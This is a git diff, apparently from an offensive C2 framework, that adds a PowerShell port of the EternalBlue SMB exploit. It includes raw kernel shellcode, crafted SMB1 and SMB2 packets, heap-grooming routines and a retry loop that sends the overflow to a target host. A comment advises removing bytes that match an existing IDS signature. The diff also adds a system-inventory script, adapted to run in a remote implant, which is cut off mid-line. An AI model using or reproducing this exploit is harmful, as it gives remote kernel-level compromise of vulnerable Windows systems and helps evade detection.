+0xC0,0x41,0x50,0x6A,0x01,0x49,0x8B,0x06,0x50,0x41,0x50,0x48,0x83,0xEC,0x20,0x41, +0xBB,0xAC,0xCE,0x55,0x4B,0xE8,0x98,0x00,0x00,0x00,0x31,0xD2,0x52,0x52,0x41,0x58, +0x41,0x59,0x4C,0x89,0xE1,0x41,0xBB,0x18,0x38,0x09,0x9E,0xE8,0x82,0x00,0x00,0x00, +0x4C,0x89,0xE9,0x41,0xBB,0x22,0xB7,0xB3,0x7D,0xE8,0x74,0x00,0x00,0x00,0x48,0x89, +0xD9,0x41,0xBB,0x0D,0xE2,0x4D,0x85,0xE8,0x66,0x00,0x00,0x00,0x48,0x89,0xEC,0x5D, +0x5B,0x41,0x5C,0x41,0x5D,0x41,0x5E,0x41,0x5F,0x5E,0xC3,0xE9,0xB5,0x00,0x00,0x00, +0x4D,0x31,0xC9,0x31,0xC0,0xAC,0x41,0xC1,0xC9,0x0D,0x3C,0x61,0x7C,0x02,0x2C,0x20, +0x41,0x01,0xC1,0x38,0xE0,0x75,0xEC,0xC3,0x31,0xD2,0x65,0x48,0x8B,0x52,0x60,0x48, +0x8B,0x52,0x18,0x48,0x8B,0x52,0x20,0x48,0x8B,0x12,0x48,0x8B,0x72,0x50,0x48,0x0F, +0xB7,0x4A,0x4A,0x45,0x31,0xC9,0x31,0xC0,0xAC,0x3C,0x61,0x7C,0x02,0x2C,0x20,0x41, +0xC1,0xC9,0x0D,0x41,0x01,0xC1,0xE2,0xEE,0x45,0x39,0xD9,0x75,0xDA,0x4C,0x8B,0x7A, +0x20,0xC3,0x4C,0x89,0xF8,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x89,0xC2,0x8B, +0x42,0x3C,0x48,0x01,0xD0,0x8B,0x80,0x88,0x00,0x00,0x00,0x48,0x01,0xD0,0x50,0x8B, +0x48,0x18,0x44,0x8B,0x40,0x20,0x49,0x01,0xD0,0x48,0xFF,0xC9,0x41,0x8B,0x34,0x88, +0x48,0x01,0xD6,0xE8,0x78,0xFF,0xFF,0xFF,0x45,0x39,0xD9,0x75,0xEC,0x58,0x44,0x8B, +0x40,0x24,0x49,0x01,0xD0,0x66,0x41,0x8B,0x0C,0x48,0x44,0x8B,0x40,0x1C,0x49,0x01, +0xD0,0x41,0x8B,0x04,0x88,0x48,0x01,0xD0,0x5E,0x59,0x5A,0x41,0x58,0x41,0x59,0x41, +0x5B,0x41,0x53,0xFF,0xE0,0x56,0x41,0x57,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x20, +0x41,0xBB,0xDA,0x16,0xAF,0x92,0xE8,0x4D,0xFF,0xFF,0xFF,0x31,0xC9,0x51,0x51,0x51, +0x51,0x41,0x59,0x4C,0x8D,0x05,0x1A,0x00,0x00,0x00,0x5A,0x48,0x83,0xEC,0x20,0x41, +0xBB,0x46,0x45,0x1B,0x22,0xE8,0x68,0xFF,0xFF,0xFF,0x48,0x89,0xEC,0x5D,0x41,0x5F, +0x5E,0xC3) +return $shellcode +} + +function make_kernel_user_payload($ring3) { + $sc = make_kernel_shellcode + $sc += [bitconverter]::GetBytes([uint16] ($ring3.length)) + $sc += $ring3 + return $sc + } +function make_smb2_payload_headers_packet(){ + [Byte[]] $pkt = [Byte[]](0x00,0x00,0xff,0xf7,0xFE) + [system.Text.Encoding]::ASCII.GetBytes("SMB") + [Byte[]](0x00)*124 + + return $pkt +} + +function make_smb2_payload_body_packet($kernel_user_payload) { + $pkt_max_len = 4204 + $pkt_setup_len = 497 + $pkt_max_payload = $pkt_max_len - $pkt_setup_len + + #padding + [Byte[]] $pkt = [Byte[]] (0x00) * 0x8 + $pkt += 0x03,0x00,0x00,0x00 + $pkt += [Byte[]] (0x00) * 0x1c + $pkt += 0x03,0x00,0x00,0x00 + $pkt += [Byte[]] (0x00) * 0x74 + +# KI_USER_SHARED_DATA addresses + $pkt += [Byte[]] (0xb0,0x00,0xd0,0xff,0xff,0xff,0xff,0xff) * 2 # x64 address + $pkt += [Byte[]] (0x00) * 0x10 + $pkt += [Byte[]] (0xc0,0xf0,0xdf,0xff) * 2 # x86 address + $pkt += [Byte[]] (0x00) * 0xc4 + + # payload addreses + $pkt += 0x90,0xf1,0xdf,0xff + $pkt += [Byte[]] (0x00) * 0x4 + $pkt += 0xf0,0xf1,0xdf,0xff + $pkt += [Byte[]] (0x00) * 0x40 + + $pkt += 0xf0,0x01,0xd0,0xff,0xff,0xff,0xff,0xff + $pkt += [Byte[]] (0x00) * 0x8 + $pkt += 0x00,0x02,0xd0,0xff,0xff,0xff,0xff,0xff + $pkt += 0x00 + + $pkt += $kernel_user_payload + + # fill out the rest, this can be randomly generated + $pkt += 0x00 * ($pkt_max_payload - $kernel_user_payload.length) + + return $pkt +} + +function make_smb1_echo_packet($tree_id, $user_id) { + [Byte[]] $pkt = [Byte[]] (0x00) # type + $pkt += 0x00,0x00,0x31 # len = 49 + $pkt += [Byte[]] (0xff) + $enc.GetBytes("SMB") # SMB1 + $pkt += 0x2b # Echo + $pkt += 0x00,0x00,0x00,0x00 # Success + $pkt += 0x18 # flags + $pkt += 0x07,0xc0 # flags2 + $pkt += 0x00,0x00 # PID High + $pkt += 0x00,0x00,0x00,0x00 # Signature1 + $pkt += 0x00,0x00,0x00,0x00 # Signature2 + $pkt += 0x00,0x00 # Reserved + $pkt += $tree_id # Tree ID + $pkt += 0xff,0xfe # PID + $pkt += $user_id # UserID + $pkt += 0x40,0x00 # MultiplexIDs + + $pkt += 0x01 # Word count + $pkt += 0x01,0x00 # Echo count + $pkt += 0x0c,0x00 # Byte count + + # echo data + # this is an existing IDS signature, and can be nulled out + #$pkt += 0x4a,0x6c,0x4a,0x6d,0x49,0x68,0x43,0x6c,0x42,0x73,0x72,0x00 + $pkt += 0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x00 + return $pkt +} + +function make_smb1_trans2_exploit_packet($tree_id, $user_id, $type, $timeout) { + $timeout = ($timeout * 0x10) + 3 + + [Byte[]] $pkt = [Byte[]] (0x00) # Session message + $pkt += 0x00,0x10,0x35 # length + $pkt += 0xff,0x53,0x4D,0x42 # SMB1 + $pkt += 0x33 # Trans2 request + $pkt += 0x00,0x00,0x00,0x00 # NT SUCCESS + $pkt += 0x18 # Flags + $pkt += 0x07,0xc0 # Flags2 + $pkt += 0x00,0x00 # PID High + $pkt += 0x00,0x00,0x00,0x00 # Signature1 + $pkt += 0x00,0x00,0x00,0x00 # Signature2 + $pkt += 0x00,0x00 # Reserved + $pkt += $user_id # TreeID + $pkt += 0xff,0xfe # PID + $pkt += $user_id # UserID + $pkt += 0x40,0x00 # MultiplexIDs + + $pkt += 0x09 # Word Count + $pkt += 0x00,0x00 # Total Param Count + $pkt += 0x00,0x10 # Total Data Count + $pkt += 0x00,0x00 # Max Param Count + $pkt += 0x00,0x00 # Max Data Count + $pkt += 0x00 # Max Setup Count + $pkt += 0x00 # Reserved + $pkt += 0x00,0x10 # Flags + $pkt += 0x35,0x00,0xd0 # Timeouts + $pkt += [bitconverter]::GetBytes($timeout)[0] #timeout is a single int + $pkt += 0x00,0x00 # Reserved + $pkt += 0x00,0x10 # Parameter Count + + #$pkt += 0x74,0x70 # Parameter Offset + #$pkt += 0x47,0x46 # Data Count + #$pkt += 0x45,0x6f # Data Offset + #$pkt += 0x4c # Setup Count + #$pkt += 0x4f # Reserved + + if ($type -eq "eb_trans2_exploit") { + + $pkt += [Byte[]] (0x41) * 2957 + + $pkt += 0x80,0x00,0xa8,0x00 # overflow + + $pkt += [Byte[]] (0x00) * 0x10 + $pkt += 0xff,0xff + $pkt += [Byte[]] (0x00) * 0x6 + $pkt += 0xff,0xff + $pkt += [Byte[]] (0x00) * 0x16 + + $pkt += 0x00,0xf1,0xdf,0xff # x86 addresses + $pkt += [Byte[]] (0x00) * 0x8 + $pkt += 0x20,0xf0,0xdf,0xff + + $pkt += 0x00,0xf1,0xdf,0xff,0xff,0xff,0xff,0xff # x64 + + $pkt += 0x60,0x00,0x04,0x10 + $pkt += [Byte[]] (0x00) * 4 + + $pkt += 0x80,0xef,0xdf,0xff + + $pkt += [Byte[]] (0x00) * 4 + $pkt += 0x10,0x00,0xd0,0xff,0xff,0xff,0xff,0xff + $pkt += 0x18,0x01,0xd0,0xff,0xff,0xff,0xff,0xff + $pkt += [Byte[]] (0x00) * 0x10 + + $pkt += 0x60,0x00,0x04,0x10 + $pkt += [Byte[]] (0x00) * 0xc + $pkt += 0x90,0xff,0xcf,0xff,0xff,0xff,0xff,0xff + $pkt += [Byte[]] (0x00) * 0x8 + $pkt += 0x80,0x10 + $pkt += [Byte[]] (0x00) * 0xe + $pkt += 0x39 + $pkt += 0xbb + + $pkt += [Byte[]] (0x41) * 965 + + return $pkt + } + + if($type -eq "eb_trans2_zero") { + $pkt += [Byte[]] (0x00) * 2055 + $pkt += 0x83,0xf3 + $pkt += [Byte[]] (0x41) * 2039 + #$pkt += 0x00 * 4096 + } + else { + $pkt += [Byte[]] (0x41) * 4096 + } + + return $pkt + } +function negotiate_proto_request() +{ + + [Byte[]] $pkt = [Byte[]] (0x00) # Message_Type + $pkt += 0x00,0x00,0x54 # Length + + $pkt += 0xFF,0x53,0x4D,0x42 # server_component: .SMB + $pkt += 0x72 # smb_command: Negotiate Protocol + $pkt += 0x00,0x00,0x00,0x00 # nt_status + $pkt += 0x18 # flags + $pkt += 0x01,0x28 # flags2 + $pkt += 0x00,0x00 # process_id_high + $pkt += 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 # signature + $pkt += 0x00,0x00 # reserved + $pkt += 0x00,0x00 # tree_id + $pkt += 0x2F,0x4B # process_id + $pkt += 0x00,0x00 # user_id + $pkt += 0xC5,0x5E # multiplex_id + + $pkt += 0x00 # word_count + $pkt += 0x31,0x00 # byte_count + + # Requested Dialects + $pkt += 0x02 # dialet_buffer_format + $pkt += 0x4C,0x41,0x4E,0x4D,0x41,0x4E,0x31,0x2E,0x30,0x00 # dialet_name: LANMAN1.0 + + $pkt += 0x02 # dialet_buffer_format + $pkt += 0x4C,0x4D,0x31,0x2E,0x32,0x58,0x30,0x30,0x32,0x00 # dialet_name: LM1.2X002 + + $pkt += 0x02 # dialet_buffer_format + $pkt += 0x4E,0x54,0x20,0x4C,0x41,0x4E,0x4D,0x41,0x4E,0x20,0x31,0x2E,0x30,0x00 # dialet_name3: NT LANMAN 1.0 + + $pkt += 0x02 # dialet_buffer_format + $pkt += 0x4E,0x54,0x20,0x4C,0x4D,0x20,0x30,0x2E,0x31,0x32,0x00 # dialet_name4: NT LM 0.12 + + return $pkt +} + + +function make_smb1_nt_trans_packet($tree_id, $user_id) { + + [Byte[]] $pkt = [Byte[]] (0x00) # Session message + $pkt += 0x00,0x04,0x38 # length + $pkt += 0xff,0x53,0x4D,0x42 # SMB1 + $pkt += 0xa0 # NT Trans + $pkt += 0x00,0x00,0x00,0x00 # NT SUCCESS + $pkt += 0x18 # Flags + $pkt += 0x07,0xc0 # Flags2 + $pkt += 0x00,0x00 # PID High + $pkt += 0x00,0x00,0x00,0x00 # Signature1 + $pkt += 0x00,0x00,0x00,0x00 # Signature2 + $pkt += 0x00,0x00 # Reserved + $pkt += $tree_id # TreeID + $pkt += 0xff,0xfe # PID + $pkt += $user_id # UserID + $pkt += 0x40,0x00 # MultiplexID + + $pkt += 0x14 # Word Count + $pkt += 0x01 # Max Setup Count + $pkt += 0x00,0x00 # Reserved + $pkt += 0x1e,0x00,0x00,0x00 # Total Param Count + $pkt += 0xd0,0x03,0x01,0x00 # Total Data Count + $pkt += 0x1e,0x00,0x00,0x00 # Max Param Count + $pkt += 0x00,0x00,0x00,0x00 # Max Data Count + $pkt += 0x1e,0x00,0x00,0x00 # Param Count + $pkt += 0x4b,0x00,0x00,0x00 # Param Offset + $pkt += 0xd0,0x03,0x00,0x00 # Data Count + $pkt += 0x68,0x00,0x00,0x00 # Data Offset + $pkt += 0x01 # Setup Count + $pkt += 0x00,0x00 # Function + $pkt += 0x00,0x00 # Unknown NT transaction (0) setup + $pkt += 0xec,0x03 # Byte Count + $pkt += [Byte[]] (0x00) * 0x1f # NT Parameters + + # undocumented + $pkt += 0x01 + $pkt += [Byte[]](0x00) * 0x3cd + return $pkt + } + + function make_smb1_free_hole_session_packet($flags2, $vcnum, $native_os) { + + [Byte[]] $pkt = 0x00 # Session message + $pkt += 0x00,0x00,0x51 # length + $pkt += 0xff,0x53,0x4D,0x42 # SMB1 + $pkt += 0x73 # Session Setup AndX + $pkt += 0x00,0x00,0x00,0x00 # NT SUCCESS + $pkt += 0x18 # Flags + $pkt += $flags2 # Flags2 + $pkt += 0x00,0x00 # PID High + $pkt += 0x00,0x00,0x00,0x00 # Signature1 + $pkt += 0x00,0x00,0x00,0x00 # Signature2 + $pkt += 0x00,0x00 # Reserved + $pkt += 0x00,0x00 # TreeID + $pkt += 0xff,0xfe # PID + $pkt += 0x00,0x00 # UserID + $pkt += 0x40,0x00 # MultiplexID + #$pkt += 0x00,0x00 # Reserved + + $pkt += 0x0c # Word Count + $pkt += 0xff # No further commands + $pkt += 0x00 # Reserved + $pkt += 0x00,0x00 # AndXOffset + $pkt += 0x04,0x11 # Max Buffer + $pkt += 0x0a,0x00 # Max Mpx Count + $pkt += $vcnum # VC Number + $pkt += 0x00,0x00,0x00,0x00 # Session key + $pkt += 0x00,0x00 # Security blob length + $pkt += 0x00,0x00,0x00,0x00 # Reserved + $pkt += 0x00,0x00,0x00,0x80 # Capabilities + $pkt += 0x16,0x00 # Byte count + #$pkt += 0xf0 # Security Blob: + #$pkt += 0xff,0x00,0x00,0x00 # Native OS + #$pkt += 0x00,0x00 # Native LAN manager + #$pkt += 0x00,0x00 # Primary domain + $pkt += $native_os + $pkt += [Byte[]] (0x00) * 17 # Extra byte params + + return $pkt + } + + function make_smb1_anonymous_login_packet { + # Neither Rex nor RubySMB appear to support Anon login? + + [Byte[]] $pkt = [Byte[]] (0x00) # Session message + $pkt += 0x00,0x00,0x88 # length + $pkt += 0xff,0x53,0x4D,0x42 # SMB1 + $pkt += 0x73 # Session Setup AndX + $pkt += 0x00,0x00,0x00,0x00 # NT SUCCESS + $pkt += 0x18 # Flags + $pkt += 0x07,0xc0 # Flags2 + $pkt += 0x00,0x00 # PID High + $pkt += 0x00,0x00,0x00,0x00 # Signature1 + $pkt += 0x00,0x00,0x00,0x00 # Signature2 + $pkt += 0x00,0x00 # TreeID + $pkt += 0xff,0xfe # PID + $pkt += 0x00,0x00 # Reserved + $pkt += 0x00,0x00 # UserID + $pkt += 0x40,0x00 # MultiplexID + + $pkt += 0x0d # Word Count + $pkt += 0xff # No further commands + $pkt += 0x00 # Reserved + $pkt += 0x88,0x00 # AndXOffset + $pkt += 0x04,0x11 # Max Buffer + $pkt += 0x0a,0x00 # Max Mpx Count + $pkt += 0x00,0x00 # VC Number + $pkt += 0x00,0x00,0x00,0x00 # Session key + $pkt += 0x01,0x00 # ANSI pw length + $pkt += 0x00,0x00 # Unicode pw length + $pkt += 0x00,0x00,0x00,0x00 # Reserved + $pkt += 0xd4,0x00,0x00,0x00 # Capabilities + $pkt += 0x4b,0x00 # Byte count + $pkt += 0x00 # ANSI pw + $pkt += 0x00,0x00 # Account name + $pkt += 0x00,0x00 # Domain name + + # Windows 2000 2195 + $pkt += 0x57,0x00,0x69,0x00,0x6e,0x00,0x64,0x00,0x6f,0x00,0x77,0x00,0x73,0x00,0x20,0x00,0x32 + $pkt += 0x00,0x30,0x00,0x30,0x00,0x30,0x00,0x20,0x00,0x32,0x00,0x31,0x00,0x39,0x00,0x35,0x00 + $pkt += 0x00,0x00 + + # Windows 2000 5.0 + $pkt += 0x57,0x00,0x69,0x00,0x6e,0x00,0x64,0x00,0x6f,0x00,0x77,0x00,0x73,0x00,0x20,0x00,0x32 + $pkt += 0x00,0x30,0x00,0x30,0x00,0x30,0x00,0x20,0x00,0x35,0x00,0x2e,0x00,0x30,0x00,0x00,0x00 + + return $pkt +} + + +function tree_connect_andx_request($Target, $userid) { + + [Byte[]] $pkt = [Byte[]](0x00) #$pkt +=Message_Type' + $pkt +=0x00,0x00,0x47 #$pkt +=Length' + + + $pkt +=0xFF,0x53,0x4D,0x42 #$pkt +=server_component': .SMB + $pkt +=0x75 #$pkt +=smb_command': Tree Connect AndX + $pkt +=0x00,0x00,0x00,0x00 #$pkt +=nt_status' + $pkt +=0x18 #$pkt +=flags' + $pkt +=0x01,0x20 #$pkt +=flags2' + $pkt +=0x00,0x00 #$pkt +=process_id_high' + $pkt +=0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 #$pkt +=signature' + $pkt +=0x00,0x00 #$pkt +=reserved' + $pkt +=0x00,0x00 #$pkt +=tree_id' + $pkt +=0x2F,0x4B #$pkt +=process_id' + $pkt += $userid #$pkt +=user_id' + $pkt +=0xC5,0x5E #$pkt +=multiplex_id' + + + $ipc = "\\"+ $Target + "\IPC$" + + $pkt +=0x04 # Word Count + $pkt +=0xFF # AndXCommand: No further commands + $pkt +=0x00 # Reserved + $pkt +=0x00,0x00 # AndXOffset + $pkt +=0x00,0x00 # Flags + $pkt +=0x01,0x00 # Password Length + $pkt +=0x1A,0x00 # Byte Count + $pkt +=0x00 # Password + $pkt += [system.Text.Encoding]::ASCII.GetBytes($ipc) # \,0xxx.xxx.xxx.xxx\IPC$ + $pkt += 0x00 # null byte after ipc added by kev + + $pkt += 0x3f,0x3f,0x3f,0x3f,0x3f,0x00 # Service + + + $len = $pkt.Length - 4 + # netbios[1] =$pkt +=0x00' + struct.pack('>H length) + $hexlen = [bitconverter]::GetBytes($len)[-2..-4] + $pkt[1] = $hexlen[0] + $pkt[2] = $hexlen[1] + $pkt[3] = $hexlen[2] + return $pkt + + } + + + +function smb_header($smbheader) { + +$parsed_header =@{server_component=$smbheader[0..3]; + smb_command=$smbheader[4]; + error_class=$smbheader[5]; + reserved1=$smbheader[6]; + error_code=$smbheader[6..7]; + flags=$smbheader[8]; + flags2=$smbheader[9..10]; + process_id_high=$smbheader[11..12]; + signature=$smbheader[13..21]; + reserved2=$smbheader[22..23]; + tree_id=$smbheader[24..25]; + process_id=$smbheader[26..27]; + user_id=$smbheader[28..29]; + multiplex_id=$smbheader[30..31]; + } +return $parsed_header + +} + + + + +function smb1_get_response($sock){ + + + + $tcp_response = [Array]::CreateInstance("byte", 1024) + try{ + $sock.Receive($tcp_response)| out-null + + } + catch { + Write-Output "socket error, exploit may fail " + } + $netbios = $tcp_response[0..4] + $smb_header = $tcp_response[4..36] # SMB Header: 32 bytes + $parsed_header = smb_header($smb_header) + + return $tcp_response, $parsed_header + +} + + +function client_negotiate($sock){ +$raw_proto = negotiate_proto_request + $sock.Send($raw_proto) | out-null + return smb1_get_response($sock) + +} + +function smb1_anonymous_login($sock){ + $raw_proto = make_smb1_anonymous_login_packet + $sock.Send($raw_proto) | out-null + return smb1_get_response($sock) + + +} + +function tree_connect_andx($sock, $Target, $userid){ + $raw_proto = tree_connect_andx_request $Target $userid + $sock.Send($raw_proto) | out-null + return smb1_get_response($sock) + + +} + + +function smb1_anonymous_connect_ipc($Target) +{ + $client = New-Object System.Net.Sockets.TcpClient($Target,445) + + $sock = $client.Client + client_negotiate($sock) | Out-Null + + $raw, $smbheader = smb1_anonymous_login $sock + + $raw, $smbheader = tree_connect_andx $sock $Target $smbheader.user_id + + + return $smbheader, $sock + + + +} + + +function smb1_large_buffer($smbheader,$sock){ + + $nt_trans_pkt = make_smb1_nt_trans_packet $smbheader.tree_id $smbheader.user_id + + # send NT Trans + + $sock.Send($nt_trans_pkt) | out-null + + $raw, $transheader = smb1_get_response($sock) + + #initial trans2 request + $trans2_pkt_nulled = make_smb1_trans2_exploit_packet $smbheader.tree_id $smbheader.user_id "eb_trans2_zero" 0 + + #send all but the last packet + for($i =1; $i -le 14; $i++) { + $trans2_pkt_nulled += make_smb1_trans2_exploit_packet $smbheader.tree_id $smbheader.user_id "eb_trans2_buffer" $i + + } + + $trans2_pkt_nulled += make_smb1_echo_packet $smbheader.tree_id $smbheader.user_id + $sock.Send($trans2_pkt_nulled) | out-null + + smb1_get_response($sock) | Out-Null + +} + + +function smb1_free_hole($start) { + $client = New-Object System.Net.Sockets.TcpClient($Target,445) + + $sock = $client.Client + client_negotiate($sock) | Out-Null + if($start) { + $pkt = make_smb1_free_hole_session_packet (0x07,0xc0) (0x2d,0x01) (0xf0,0xff,0x00,0x00,0x00) + } + else { + $pkt = make_smb1_free_hole_session_packet (0x07,0x40) (0x2c,0x01) (0xf8,0x87,0x00,0x00,0x00) + } + + $sock.Send($pkt) | out-null + smb1_get_response($sock) | Out-Null + return $sock +} + + function smb2_grooms($Target, $grooms, $payload_hdr_pkt, $groom_socks){ + + + for($i =0; $i -lt $grooms; $i++) + { + $client = New-Object System.Net.Sockets.TcpClient($Target,445) + + $gsock = $client.Client + $groom_socks += $gsock + $gsock.Send($payload_hdr_pkt) | out-null + + } + return $groom_socks + } + + + + +function smb_eternalblue($Target, $grooms, $Shellcode) { + + + #replace null bytes with your shellcode + [Byte[]] $payload = [Byte[]]($Shellcode) + + $shellcode = make_kernel_user_payload($payload) + $payload_hdr_pkt = make_smb2_payload_headers_packet + $payload_body_pkt = make_smb2_payload_body_packet($shellcode) + + Write-Output "Connecting to target for activities" + $smbheader, $sock = smb1_anonymous_connect_ipc($Target) + $sock.ReceiveTimeout =2000 + Write-Output "Connection established for exploitation." + # Step 2: Create a large SMB1 buffer + Write-Output "all but last fragment of exploit packet" + smb1_large_buffer $smbheader $sock + # Step 3: Groom the pool with payload packets, and open/close SMB1 packets + + # initialize_groom_threads(ip, port, payload, grooms) + $fhs_sock = smb1_free_hole $true + $groom_socks =@() + $groom_socks = smb2_grooms $Target $grooms $payload_hdr_pkt $groom_socks + + $fhf_sock = smb1_free_hole $false + + $fhs_sock.Close() | Out-Null + + $groom_socks = smb2_grooms $Target 6 $payload_hdr_pkt $groom_socks + + $fhf_sock.Close() | out-null + + Write-Output "Running final exploit packet" + + $final_exploit_pkt = $trans2_pkt_nulled = make_smb1_trans2_exploit_packet $smbheader.tree_id $smbheader.user_id "eb_trans2_exploit" 15 + + try{ + $sock.Send($final_exploit_pkt) | Out-Null + $raw, $exploit_smb_header = smb1_get_response $sock + Write-Output ("SMB code: " + [System.BitConverter]::ToString($exploit_smb_header.error_code)) + + } + catch { + Write-Output "socket error, exploit may fail horribly" + } + + + Write-Output "Send the payload with the grooms" + + foreach ($gsock in $groom_socks) + { + $gsock.Send($payload_body_pkt[0..2919]) | out-null + } + foreach ($gsock in $groom_socks) + { + $gsock.Send($payload_body_pkt[2920..4072]) | out-null + } + foreach ($gsock in $groom_socks) + { + $gsock.Close() | out-null + } + + $sock.Close()| out-null + } + + + + +$VerbosePreference = "continue" +for ($i=0; $i -lt $MaxAttempts; $i++) { + $grooms = $InitialGrooms + $GROOM_DELTA*$i + smb_eternalblue $Target $grooms $Shellcode +} + + +} \ No newline at end of file diff --git a/Modules/Get-ComputerInfo.ps1 b/Modules/Get-ComputerInfo.ps1 new file mode 100644 index 0000000..297a5d9 --- /dev/null +++ b/Modules/Get-ComputerInfo.ps1 @@ -0,0 +1,405 @@ +Function Get-ComputerInfo +{ + <# + .SYNOPSIS + This function will collect various data elements from a local or remote computer. + .DESCRIPTION + This function was inspired by Get-ServerInfo a custom function written by Jason Walker + and the PSInfo Sysinternals Tool written by Mark Russinovich. It will collect a plethora + of data elements that are important to a Microsoft Windows System Administrator. The + function will run locally, run without the -ComputerName Parameter, or connect remotely + via the -ComputerName Parameter. This function will return objects that you can interact + with, however, due to the fact that multiple custom objects are returned, when piping the + function to Get-Member, it will only display the first object, unless you run the following; + "Get-ComputerInfo | Foreach-Object {$_ | Get-Member}". This function is currently in beta. + Also remember that you have to dot source the ".ps1" file in order to load it into your + current PowerShell console: ". .\Get-ComputerInfo.ps1" Then it can be run as a "cmdlet" + aka "function". Reminder: In it's current state, this function's output is intended for + the console, in other words the data does not export very well, unless the Foreach-Object + technique is used above. This is something that may come in a future release or a simplied + version. + .PARAMETER ComputerName + A single Computer or an array of computer names. The default is localhost ($env:COMPUTERNAME). + .EXAMPLE + PS D:\> Get-ComputerInfo -ComputerName WIN-7-01 + + Computer : WIN-7-01 + Domain : INQU1S1T0R.LOCAL + OperatingSystem : Microsoft Windows 7 Professional + OSArchitecture : 32-bit + BuildNumber : 7601 + ServicePack : 1 + Manufacturer : VMware, Inc. + Model : VMware Virtual Platform + SerialNumber : VMware-56 4d 0e 63 66 87 22 81-48 df af 02 e5 08 7f 7d + Processor : Intel(R) Core(TM) i7-6500U CPU @ 2.50GHz + LogicalProcessors : 2 + PhysicalMemory : 1024 + OSReportedMemory : 1023 + PAEEnabled : True + InstallDate : 14/11/2015 21:38:36 + LastBootUpTime : 14/11/2016 22:08:04 + UpTime : 2.18:20:55.8121611 + RebootPending : True + RebootPendingKey : False + CBSRebootPending : True + WinUpdRebootPending : True + LogonServer : \\INQU1S1T0R-DC + + Network Adaptors + + NICName : Intel(R) PRO/1000 MT Network Connection + NICManufacturer : Intel + DHCPEnabled : True + MACAddress : 00:0C:29:08:7F:7D + IPAddress : {192.168.0.119, fe80::31e1:f129:1265:9ec2} + IPSubnetMask : {255.255.255.0, 64} + DefaultGateway : {192.168.0.1} + DNSServerOrder : {192.168.0.2, 8.8.8.8, 8.8.4.4} + DNSSuffixSearch : {inqu1s1t0r.local} + PhysicalAdapter : True + Speed : 1000 Mbit + + Disk Information + + DeviceID : C: + VolumeName : + VolumeDirty : + Size : 59.90 GB + FreeSpace : 45.23 GB + PercentFree : 75.51 % + + Hotfix(s) Installed: 198 + + Description : Update + HotfixID : KB2849697 + InstalledOn : + + Description : Update + HotfixID : KB2849696 + InstalledOn : + + Description : Update + HotfixID : KB2841134 + InstalledOn : + + Description : Update + HotfixID : KB2670838 + InstalledOn : + + Description : Security Update + HotfixID : KB2425227 + InstalledOn : + .LINK + Registry Class + http://msdn.microsoft.com/en-us/library/microsoft.win32.registry.aspx + + Win32_BIOS + http://msdn.microsoft.com/en-us/library/windows/desktop/aa394077(v=vs.85).aspx + + Win32_ComputerSystem + http://msdn.microsoft.com/en-us/library/windows/desktop/aa394102(v=vs.85).aspx + + Win32_OperatingSystem + http://msdn.microsoft.com/en-us/library/windows/desktop/aa394239(v=vs.85).aspx + + Win32_NetworkAdapter + http://msdn.microsoft.com/en-us/library/windows/desktop/aa394216(v=vs.85).aspx + + Win32_NetworkAdapterConfiguration + http://msdn.microsoft.com/en-us/library/windows/desktop/aa394217(v=vs.85).aspx + + Win32_Processor + http://msdn.microsoft.com/en-us/library/windows/desktop/aa394373(v=vs.85).aspx + + Win32_PhysicalMemory + http://msdn.microsoft.com/en-us/library/windows/desktop/aa394347(v=vs.85).aspx + + Win32_LogicalDisk + http://msdn.microsoft.com/en-us/library/windows/desktop/aa394173(v=vs.85).aspx + + Component-Based Servicing + http://technet.microsoft.com/en-us/library/cc756291(v=WS.10).aspx + + PendingFileRename/Auto Update: + http://support.microsoft.com/kb/2723674 + http://technet.microsoft.com/en-us/library/cc960241.aspx + http://blogs.msdn.com/b/hansr/archive/2006/02/17/patchreboot.aspx + + SCCM 2012/CCM_ClientSDK: + http://msdn.microsoft.com/en-us/library/jj902723.aspx + .NOTES + Author: Brian C. Wilhite + Email: bwilhite1@carolina.rr.com + Date: 03/31/2012 + RevDate: 11/17/2016 + PoShVer: 2.0/ + ScriptVer: 0.87 (Beta) + 0.87 - Some modifications to the script added by Dave Hardy, the script ouputs installed hotfixes, the system logon server and fixed an issue where the OS is Windows 10 not displaying the OS Architecture correctly also removed the write-progress elements to allow the script to run in the remote implant of PoshC2 + 0.86 - Code clean-up, now a bit easier to read + Added several PendingReboot properites + RebootPendingKey - Shows contents of files pending rename + CBSRebootPending - Component-Based Servicing, see link above + WinUpdRebootPending - Pending Reboot due to Windows Update + Added PAEEnabled Property + 0.85 - Now reports LogicalProcessors & Domain (2K3/2K8) + Better PendingReboot support for Windows 2008+ + Minor Write-Progress Changes + + #> + + [CmdletBinding()] + param( + [Parameter(Position = 0,ValueFromPipeline = $true)] + [Alias('CN','Computer')] + [String[]]$ComputerName = "$env:COMPUTERNAME" + ) + + Begin + { + $i = 0 + #Adjusting ErrorActionPreference to stop on all errors + $TempErrAct = $ErrorActionPreference + $ErrorActionPreference = 'Stop' + + #Defining $CompInfo Select Properties For Correct Display Order + $CompInfoSelProp = @( + 'Computer' + 'Domain' + 'OperatingSystem' + 'OSArchitecture' + 'BuildNumber' + 'ServicePack' + 'Manufacturer' + 'Model' + 'SerialNumber' + 'Processor' + 'LogicalProcessors' + 'PhysicalMemory' + 'OSReportedMemory' + 'PAEEnabled' + 'InstallDate' + 'LastBootUpTime' + 'UpTime' + 'RebootPending' + 'RebootPendingKey' + 'CBSRebootPending' + 'WinUpdRebootPending' + 'LogonServer' + 'PageFile' + )#End $CompInfoSelProp + + #Defining $NetInfo Select Properties For Correct Display Order + $NetInfoSelProp = @( + 'NICName' + 'NICManufacturer' + 'DHCPEnabled' + 'MACAddress' + 'IPAddress' + 'IPSubnetMask' + 'DefaultGateway' + 'DNSServerOrder' + 'DNSSuffixSearch' + 'PhysicalAdapter' + 'Speed' + )#End $NetInfoSelProp + + #Defining $VolInfo Select Properties For Correct Display Order + $VolInfoSelProp = @( + 'DeviceID' + 'VolumeName' + 'VolumeDirty' + 'Size' + 'FreeSpace' + 'PercentFree' + )#End $VolInfoSelProp + }#End Begin Script Block + + Process + { + Foreach ($Computer in $ComputerName) + { + Try + { + If ($ComputerName.Count -gt 1) + { + #Setting up Main Write-Progress Process, If Querying More Than 1 Computer. + $WriteProgParams = @{ + Id = 1 + Activity = "Processing Get-ComputerInfo 